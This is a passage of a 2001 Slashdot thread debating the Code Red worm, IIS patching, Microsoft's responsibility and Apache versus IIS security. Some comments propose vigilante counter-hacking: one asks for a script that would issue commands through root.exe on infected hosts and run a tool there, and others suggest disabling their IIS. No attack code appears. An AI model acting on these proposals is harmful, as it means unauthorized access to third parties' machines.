    * The active facilities can only touch as much as the webserver can touch. Users named ``apache'' or ``nobody'' generally don't have write access to a great deal of the file system;

    * Even though Apache as such is a monoculture, there is great variety between Apaches. They run on a wide variety of CPUs and OSes. Your binaries might be in /usr/bin, /usr/local/apache/bin, /opt/apache/bin or any one of a number of places; your web pages might be in /home/httpd/html, /var/www/html, /usr/local/apache/html or anywhere the admin chose to put them. It might be running chrooted, it might or might not have zero or more of a great number of modules enabled, and so on;

    * Apache adheres to standards; a lot of IIS holes have been in Microsoft special features;

    * Apache's code (including most common add-ons) has been examined by a wide variety of eyes using a wide variety of techniques.

    Using Microsoft software costs you all of these advantages and more.

    --
    Got time? Spend some of it coding or testing
  100. Who to blame: MS or Admins? by slasho81 · · Score: 2, Interesting

    People here suggest that admins are to blame of the Code Red ongoing catastrophe because they took the responsibility to maintain a server.

    Some posts accuse of letting MCSE handle servers, which only mighty hackers with years of experience should touch.

    I think it's stupid. there aren't enough admins that fit to the definition of experienced hackers. that's why organizations buy server software to handle 'serving'. they hire admins to operate the server not to code-and-compile or patch every morning. It's true that admins are the ones responsible to patch software, but you can't expect all servers to be patched the moment a patch is released, hell, MS servers failed to patch on time.

    The software is not secured. whose negligence is it?

  101. Re:Blame everyone bigger than you.! by SuiteSisterMary · · Score: 2

    Excuse me, but out of curiosity, what does the concept of 'iis exploits' have to do with code red? Code red does not exploit IIS. Code red exploits index server. You could configure apache to use index server, I'm sure, and then code red would *gasp* AFFECT APACHE! By your logic, at least.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  102. Re:Actually: authors of strncat() MAN PAGE and get by csbruce · · Score: 2

    Make your own functions. I use:

    void StrCpy( char *dest, const char *source, long destSize );

    void StrCat( char *dest, const char *source, long destSize );

    etc. E.g.:

    char str[STD_LINE_SIZE];
    StrCpy( str, blah, STD_LINE_SIZE );

  103. Re:FUD ALERT by sqlrob · · Score: 2, Informative
    Second, that FUD about service packs re-breaking the OS is just garbage. Please give me ONE example, JUST ONE, of a service pack opening up new holes for ANY WINDOWS OS, 3.1 and up. You can't because you are a paid basher talking out of your ass.

    Ask and ye shall receive:

    NT SP 5 or 6 (sorry don't remember which), broke the TCP/IP sequencing algorithm, making vulnerable to spoofing.

    The fix for security holes in Exchange Web broke the server (twice - took 'em till the third try)

    My job is programming Windows boxes, so no, I'm not a paid basher.

  104. Remind me again... by reemul · · Score: 3, Informative

    Which system did Ramen infect? I'm pretty sure it wasn't a Microsoft platform.

    Software has bugs. They get found, they get fixed, move on. The only reason MS exploits get more press and greater impact than Linux exploits is that MS is on more boxes. If, as you claim to desire, Linux takes off, the same people shrieking to the sky about what a crappy system MS has will be defending Linux and saying, hey, it happens. Stupid users who don't patch aren't Bill Gates' fault.

    It's just the same crap from folks who attack NT as buggy and crashprone (which is almost always due to 3rd-party drivers) while extolling the stability of Linux, which they keep rebooting because they have wonky drivers. A ha! they say, I was using a beta driver, its to be expected. Well, that driver has been in beta for over a year, that's as good as it gets. Software has bugs, move on.

    You want to ignore your own faults and start a religious war? I'm betting you can get some cheap flights to Tel Aviv right now. Knock yourself out.

    -reemul
    who wishes 2k wasn't so buggy, either, but doesn't want to hear the bitching from folks who need 2 hours and a phone call to a friend to get a soundcard working

    --
    You're just jealous 'cuz the voices talk to *me*
  105. Next step: automate it! by Quixote · · Score: 3, Redundant

    OK, who can write a perl CGI script that will, on connection from an infected host, send the appropriate commands to root.exe; download the tool; and run it?
    For extra credit: reboot twice, as Micro$oft recommends.
    For a straight A: fix the problem forever by replacing NT with Linux...

    1. Re:Next step: automate it! by thing12 · · Score: 2

      That's almost what the link at the end of the story does. It does everything but patch the infected host. It would be funny as hell to just disable IIS on every infected box that connects to yours.

    2. Re:Next step: automate it! by IronChef · · Score: 2


      It would be nice to alter the last one to point to a page that says, "Hey Chester, you've been compromised, and your computer has been attacking mine lately. Install this patch or turn off the web server, you chucklehead."

  106. Re:FUD ALERT by analog_line · · Score: 4, Funny
    You can't because you are a paid basher talking out of your ass.

    Oh gods, someone PLEASE tell me how I could get a job bashing Microsoft. I do it for free all the time.

    And here's a security hole for you. Service Pack 6 (that's the original Service Pack 6, not 6a) not allowing anyone but Administrators to access the TCP/IP stack. You think that possibly some of Microsoft's vaunted legions of crack QA people might've possibly tried testing the service pack as something other than an Administrator?

  107. If you're concerned become a vigilante by gad_zuki! · · Score: 2

    There a nice fake webserver you can run on unix or windows platforms that launches a warning html page on the attacker's machine. Why let the "authorities" run the net, especially when the code red attackers are asking you for default.ida - whatever you make that to be.

    Link:

    http://www.dynwebdev.com/codered/

  108. Re:Not the mess they made... by sheldon · · Score: 4, Insightful

    Just a correction... Apache does *NOT* run MUCH more of the web than does IIS.

    You just have to go look at the Netcraft survey's to understand. In the past they've pointed out that half of SSL enabled sites run IIS. Then about a month or two ago they started trying to identify individual machines and found IIS/Windows combination again on half of the overall web.

    What we do know is that Apache is used in many more cohosting situations. Jimmy and Susy set up a web page and pay $0-10/month for it. Is it a signifigant thing that companies providing low price service with no service level agreements use a free OS/web server? I don't think so, but you be the judge.

    Two other points:

    Microsoft fixed the problem before there was a problem. I don't see how Open Source would be any better in this regard.

    You should *ALWAYS* test patches and new releases before installing them into a production environment. That applies not only to Microsoft, but also to Linux, Sun, HP, Oracle, Peoplesoft, everything!

    In our testing service packs don't usually break apps. But they do have a tendency to break drivers or low-level hardware monitoring tools provided by the manufacturer. Is this surprising? No. Again we have the same problems on our Unix servers with OS patches.

  109. Re:Not the mess they made... by Fishstick · · Score: 2, Informative

    It is worse than that, actually.

    Here, all of the W2K workstation boxes were infected. These are not sysadmins or developers who should know better, these are just all the people who work here and are provided with a workstation to do their jobs and have no idea that IIS is running on their machines.

    They have no idea and weren't ever told that they need to apply any patches. Couple days after the CR panic started to spread, we got an alert from our crack security administration group that we should download and install a patch from Microsoft if we were running any NT servers.

    Of course, none of them new what the hell this meant, so they assumed it didn't apply to them and so did nothing.

    Sheesh, what a mess!

    --

    There is much cruelty in the universe, John.
    Yeah, we seem to have the tour map.

  110. Re:Not the mess they made... by knorthern+knight · · Score: 2, Insightful

    > I mean at some point not everyone in the
    > world can be a computer expert,

    A computer is a tool. You have to learn how to use it properly. Do you go around demanding that 747's be made so easy to fly that every office worker could do it ?

    > so are you recommending that people that
    > aren't shouldn't have a computer?

    If they are not willing/able to bring themselves up to the necessary level of competence to run general-purpose computers, yes. Give me a manually operated medium-format or 35 mm SLR camera, and I'm just as helpless as a Mac or Windows user at a unix commandline. If it ain't point-and-click, I'm totally lost. That doesn't mean I'm stupid; just that I'm not competent to use a particular tool.

    > There wouldn't be a computer industry if it
    > weren't for the "stupid" people needing
    > computers to help out thier jobs and lives.
    > What we need to do is constructively help make
    > the experience good and safe for everyone.

    That's where WEB-TV are aiming at. They are to the general-purpose computer what the point-n-click camera is to professional equipment. The great majority of people aren't geeks. That's not disparagement; merely admitting that Joe Average is no more competent to operate a general purpose computer than I am to manually operate a medium-format camera. It's not an admission of stupidity, just an acknowledgement that different people have different competencies.

    --

    I'm not repeating myself
    I'm an X window user; I'm an ex-Windows user
  111. Re:Not the mess they made... by jeffy124 · · Score: 3, Interesting

    On top of that, the admins who missed repeated pleas from both Microsoft and Government officials urging them to install the patch, not to mention all the publicity the pleas and the virus made on CNN (both the website and on TV), other major national news networks, and even my local (Washington DC area) television news stations.

    --
    The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
  112. Re:Microsoft PR by BorgDrone · · Score: 5, Interesting

    Actually, it might even be good PR for them too.

    this is what joe user will think:
    A dangerous "virus" threatens the entire internet (*cough*) and then microsoft comes to the rescue with a patch and saves the internet!

  113. Wow, what a tool by absurd_spork · · Score: 2, Insightful
    What a great tool that removes a couple of predefined files and reboots a system, nothing an admin couldn't have done himself in three minutes.

    I hope it's Microsoft-certified to work, at least.

    And disabling your web server as an option to keep your web server free from infection is so ingenious that I completely lack the words to describe the ingenuity behind it.

  114. Anybody who thinks... by talks_to_birds · · Score: 4, Insightful
    ...this is at the "mopping-up" stage is nuts.

    08/10/01 I received a total of 132 probes to tcp:80 on my 12.82.x.x dynamic IP via my dialup to worldnet.att.net

    These are exclusively from other dialups and small-scale hosts in AT&T's 12.x.x.x class A; AT&T has introduced ingress filtering and I'm seeing almost nothing from outside (Note: almost - some stuff is still leaking through..)

    But the problem is the enemy within: there's got to be thousands of home/SOHO small systems, maybe single boxes, put together by the hotshot early-adopters and techno-yuppies who think it's cool to go through the checkout stand at CompUSA and purchase a copy of Win 2K Professional, or whatever, and put it on their home systems with all the bells and whistles installed.

    None of these boxes are under *any* formal administrative control, and it's going to be up to each and every one of these thousands of techno-yuppies to patch each and every single one of their boxes.

    So far today 08/11/01 at 10:00am I've had 69 probes.

    As far as I can see, getting all these systems disinfected and patched hasn't even started yet.

    t_t_b

    --
    I'm on PJ's "enemies" list! Are you?
  115. Zodiac by Amphigory · · Score: 2
    (SPOILER WARNING)

    Anybody ever read Zodiac, by the always-popular Neil Stephenson? Short plot: the bad guys are dumping PCB's in Boston Harbor. They invent a genetically engineered bacteria to eat all the PCB's. They also invent one to make PCB's along the way, which accidentally gets loose and threatens to destroy the planet.

    I wonder how long it's going to be before some good-hearted, but slightly insane, person writes a Virus to close security holes in Windows? Then what happens when it trashes every version other than Windows 95 OEMSR3.1 (or whatever -- I don't run windows.) Would Microsoft do such a thing to cover up their mistakes? Would we ever know if they did?

    Incidentally, In my more evil moments, I had thought that a virus to change everyone's default web browser to Netscape would be kind of poetic justic. Let me say, up front, that I would not write one and am not advocating that anyone else does so. But it would be an interesting use of the sircam code.

    --
    -- Slashdot sucks.
  116. Re:Warhol Worm proposed: 15 minutes to total infec by Phork · · Score: 4, Insightful

    well, not really, the IPv6 address space will be largley unused. but the areas that are used will be well known, it would be very easy to specify the good ranges to scan.

    --
    -- free as in swatantryam - not soujanyam.
  117. The real reason to blame Microsoft by daviddennis · · Score: 2

    Microsoft marketing says:

    "You're a trained monkey. You too can run a web server! Just blow $1,000 on our systems and you're all set."

    THe person who believed Microsoft when they said that is partially to blame, surely, but in the beginning it's Microsoft that has to take the hit for overpromising and underdelivering. If you promise a secure product anyone can use, well, you're on the hook if you don't supply one.

    D

  118. Blame people that ENCOURAGE this... by Svartalf · · Score: 2

    Microsoft's whole philosophy and marketing is that "it's easy to do" and tha "anybody can do it".

    Applying patches isn't always easy- sometimes you've got to do it often.

    System security isn't easy- ever.

    Microsoft encourages the thinking and then people just do it because "Microsoft says it's secure" or "Microsoft says it's stable" and so forth.

    I blame them not because they're big- I blame them because they fostered this BS in the first place!

    --
    I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
  119. Re:Not the mess they made... by SilentChris · · Score: 2

    Actually, it was the mess the hackers created.

  120. Re:Why not simply uninstall IIS? by hearingaid · · Score: 2

    the permanent-disable function presumably would override future installs.

    some M$ things install other M$ things automatically. I'm hoping that the permanent disable function would detect other programs trying to install IIS and stop them.

    I'm probably too optimistic...

    --

    my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  121. Not the mess they made... by shagoth · · Score: 3, Insightful

    It's the mess left by lazy admins who can't be bothered with security patches a month before a worm comes out to exploit them. Shame on the NT admins.

    1. Re:Not the mess they made... by Frater+219 · · Score: 3, Insightful
      Microsoft fixed the problem before there was a problem. I don't see how Open Source would be any better in this regard.
      When my favorite open-source project discovers a security hole, it releases the patch in such a way that you can install it with a single command. Microsoft has an equivalent to this -- it's the "Critical Updates" section of the "Windows Update" facility. They frequently put important security and bug-fix patches in this section, so that Windows users can easily access them. This also makes it easy for site IT staff to encourage users to keep their systems up to date.

      The default.ida patch, a fix for a root-level compromise, was not placed in Critical Updates. Without either searching the site or being told of the correct URL to download the patch, users could not find it. People who used Windows Update religiously in the expectation of keeping their systems up to date were screwed. Sites which instructed their users that setting Windows Update to perform automatic updates would help keep them secure were screwed.

      Once again, Microsoft created an expectation and failed to live up to it.